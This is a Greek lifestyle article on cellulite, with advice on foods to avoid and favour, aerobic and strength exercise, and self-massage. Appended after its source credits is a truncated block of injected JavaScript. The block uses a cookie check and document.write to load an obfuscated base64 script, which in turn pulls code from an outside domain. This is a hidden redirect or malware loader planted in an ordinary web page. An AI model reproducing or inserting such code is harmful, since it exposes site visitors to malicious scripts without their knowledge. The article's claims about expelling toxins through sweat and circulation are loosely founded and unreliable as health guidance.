Πως να αντιμετωπίσετε τη κυτταρίτιδα

Υπάρχουν άπειρες κρέμες και θεραπείες για την αντιμετώπιση της κυτταρίτιδας, αλλά μόνο αν αλλάξετε μερικές από τις συνήθειές σας θα καταφέρετε πραγματικά να δείτε διαφορά και να επιτύχετε το καλύτερο δυνατό αποτέλεσμα στην μείωσή της.

Το πρώτο πράγμα που θα πρέπει να προσέχετε είναι η διατροφή σας:

Τι να αποφεύγετε στην διατροφή σας:
Τους «γρήγορους» υδατάνθρακες (γλυκά, λευκό ψωμί, μακαρόνια), τα αναψυκτικά και το οινόπνευμα, τα λίπη (ιδίως τα ζωικά, π.χ. βούτυρο, παχιά τυριά, αλλαντικά), τα τηγανητά, ενώ θα πρέπει να περιοριστεί και το αλάτι, καθώς προκαλεί κατακράτηση υγρών και άρα εμποδίζει την ομαλή απομάκρυνση των τοξινών.

Τι να προτιμάτε:
Τα φρούτα και τα λαχανικά σε κάθε γεύμα (ιδίως τα σπαράγγια, το αβοκάντο, τις μπανάνες, τα μούρα, τα μπρόκολο, τα πορτοκάλια, τα κρεμμύδια, τα αχλάδια, τον ανανά και το πεπόνι). Τις τροφές με υψηλή ποιότητα πρωτεϊνών (ψάρια, αυγά, άπαχο κρέας), τα ημιαπαχα γαλακτοκομικά, τις φυτικές ίνες (ιδιαίτερα τις νιφάδες βρώμης και το ψωμί ολικής άλεσης), τα όσπρια. Και, κυρίως, να πίνει πολύ νερό!

Η σωματική άσκηση είναι ο δεύτερος σημαντικότερος παράγοντας στη μείωση της κυτταρίτιδας.

Να προτιμάτε την αερόβια άσκηση (όπως το τρέξιμο, το κολύμπι, κτλ) που ενεργοποιεί τους ιδρωτοποιούς αδένες, οι οποίοι αποβάλλουν τις τοξίνες, τουλάχιστον τρεις φορές την εβδομάδα.
Επιπλέον θα πρέπει να κάνετε και άσκησης ενδυνάμωσης δίνοντας ιδιαίτερη έμφαση στις ασκήσεις για τους μηρούς και τους γλουτούς, εκεί δηλαδή όπου εστιάζεται το πρόβλημα.

Μασάζ

Για να τονώσετε την κυκλοφορία ώστε να βοηθήσετε στην εξάλειψη των τοξινών, ξεκινήστε την ημέρα σας κάνοντας μασάζ στο σώμα σας. Ξεκινήστε τρίβοντας ελαφρά το σώμα σας από τους αστραγάλους προς τα πάνω, δηλαδή από τα άκρα προς την καρδιά. Επίσης στο ντούζ σας κάντε μασάζ με κάποιο ειδικό για την κυτταρίτιδα σαπούνι ώστε να βοηθάει στην εξομάλυνση της όψης φλοιού πορτοκαλιού.

Πριν βγείτε από το ντους ρίξτε άφθονο κρύο νερό στους μηρούς σας για να τονώσετε την κυκλοφορία του αίματος στην περιοχή. Και μετά όταν θα εφαρμόζετε το γαλάκτωμα σώματος κάντε έντονο μασάζ στους μηρούς καθώς και σε άλλες περιοχές που πιθανόν να εμφανίσουν κυτταρίτιδα.

πηγές: in2life.gr, e-diatrofi.org
$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘